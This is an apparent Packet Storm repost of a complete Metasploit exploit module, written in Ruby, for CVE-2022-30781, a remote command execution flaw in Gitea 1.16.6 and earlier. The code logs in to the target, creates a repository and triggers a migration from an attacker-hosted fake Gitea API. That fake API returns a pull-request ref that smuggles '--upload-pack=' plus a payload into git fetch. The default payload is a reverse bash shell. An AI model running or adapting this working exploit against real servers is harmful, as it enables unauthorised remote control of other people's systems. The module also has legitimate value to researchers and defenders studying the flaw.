Share
## https://sploitus.com/exploit?id=PACKETSTORM:168400
# Exploit Title: Gitea Git Fetch Remote Code Execution  
# Date: 09/14/2022  
# Exploit Author: samguy  
# Vendor Homepage: https://gitea.io  
# Software Link: https://dl.gitea.io/gitea/1.16.6  
# Version: <= 1.16.6  
# Tested on: Linux - Debian  
# Ref : https://tttang.com/archive/1607/  
# CVE : CVE-2022-30781  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Gitea Git Fetch Remote Code Execution',  
'Description' => %q{  
This module exploits Git fetch command in Gitea repository migration  
process that leads to a remote command execution on the system.  
This vulnerability affect Gitea before 1.16.7 version.  
},  
'Author' => [  
'wuhan005 & li4n0', # Original PoC  
'krastanoel' # MSF Module  
],  
'References' => [  
['CVE', '2022-30781'],  
['URL', 'https://tttang.com/archive/1607/']  
],  
'DisclosureDate' => '2022-05-16',  
'License' => MSF_LICENSE,  
'Platform' => %w[unix win],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
  
register_options([  
Opt::RPORT(3000),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with']),  
OptString.new('PASSWORD', [true, 'Password to use']),  
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/user/login'),  
'keep_cookies' => true  
)  
return CheckCode::Unknown('No response from the web service') if res.nil?  
return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# Powered by Gitea Version: 1.16.6  
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))  
return CheckCode::Unknown('Target does not appear to be running Gitea.')  
end  
  
if match[:version].match(/[a-zA-Z]/)  
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/user/login'),  
'vars_post' => {  
'user_name' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'_csrf' => get_csrf(res.get_cookies)  
},  
'keep_cookies' => true  
)  
return CheckCode::Safe('Authentication failed') if res&.code != 302  
  
if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')  
return CheckCode::Appears("Version detected: #{match[:version]}")  
end  
  
CheckCode::Safe("Version detected: #{match[:version]}")  
rescue ::Rex::ConnectionError  
return CheckCode::Unknown('Could not connect to the web service')  
end  
  
def primer  
['/api/v1/version', '/api/v1/settings/api',  
"/api/v1/repos/#{@migrate_repo_path}",  
"/api/v1/repos/#{@migrate_repo_path}/pulls",  
"/api/v1/repos/#{@migrate_repo_path}/topics"  
].each { |uri| hardcoded_uripath(uri) } # adding resources  
  
vprint_status("Creating repository \"#{@repo_name}\"")  
gitea_create_repo  
vprint_good('Repository created')  
vprint_status("Migrating repository")  
gitea_migrate_repo  
end  
  
def exploit  
@repo_name = rand_text_alphanumeric(6..15)  
@migrate_repo_name = rand_text_alphanumeric(6..15)  
@migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"  
datastore['URIPATH'] = "/#{@migrate_repo_path}"  
  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
[@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }  
cleanup # removing all resources  
end  
  
def get_csrf(cookies)  
csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last  
fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf  
csrf  
end  
  
def gitea_remove_repo(name)  
vprint_status("Cleanup: removing repository \"#{name}\"")  
uri = "/#{datastore['username']}/#{name}/settings"  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, uri),  
'keep_cookies' => true  
)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'action' => 'delete',  
'repo_name' => name,  
'_csrf' => get_csrf(res.get_cookies)  
},  
'keep_cookies' => true  
)  
vprint_warning('Unable to remove repository') if res&.code != 302  
end  
  
def gitea_create_repo  
uri = normalize_uri(target_uri.path, '/repo/create')  
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)  
@uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text  
fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'uid' => @uid,  
'auto_init' => 'on',  
'readme' => 'Default',  
'repo_name' => @repo_name,  
'trust_model' => 'default',  
'default_branch' => 'master',  
'_csrf' => get_csrf(res.get_cookies)  
},  
'keep_cookies' => true  
)  
fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302  
  
rescue ::Rex::ConnectionError  
return CheckCode::Unknown('Could not connect to the web service')  
end  
  
def gitea_migrate_repo  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/repo/migrate'),  
'keep_cookies' => true  
)  
uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text  
fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri  
  
svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, uri),  
'keep_cookies' => true  
)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'uid' => @uid,  
'service' => svc_type,  
'pull_requests' => 'on',  
'repo_name' => @migrate_repo_name,  
'_csrf' => get_csrf(res.get_cookies),  
'auth_token' => rand_text_alphanumeric(6..15),  
'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",  
},  
'keep_cookies' => true  
)  
if res&.code != 302 # possibly triggered by the [migrations] settings  
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text  
gitea_remove_repo(@repo_name)  
cleanup  
fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")  
end  
  
rescue ::Rex::ConnectionError  
return CheckCode::Unknown('Could not connect to the web service')  
end  
  
def on_request_uri(cli, req)  
case req.uri  
when '/api/v1/version'  
send_response(cli, '{"version": "1.16.6"}')  
when '/api/v1/settings/api'  
data = {  
'max_response_items':50,'default_paging_num':30,  
'default_git_trees_per_page':1000,'default_max_blob_size':10485760  
}  
send_response(cli, data.to_json)  
when "/api/v1/repos/#{@migrate_repo_path}"  
data = {  
"clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",  
"owner": { "login": datastore['username'] }  
}  
send_response(cli, data.to_json)  
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"  
send_response(cli, '{"topics":[]}')  
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"  
data = [  
{  
"base": {  
"ref": "master",  
},  
"head": {  
"ref": "--upload-pack=#{payload.encoded}",  
"repo": {  
"clone_url": "./",  
"owner": { "login": "master" },  
}  
},  
"updated_at": "2001-01-01T05:00:00+01:00",  
"user": {}  
}  
]  
send_response(cli, data.to_json)  
end  
end  
end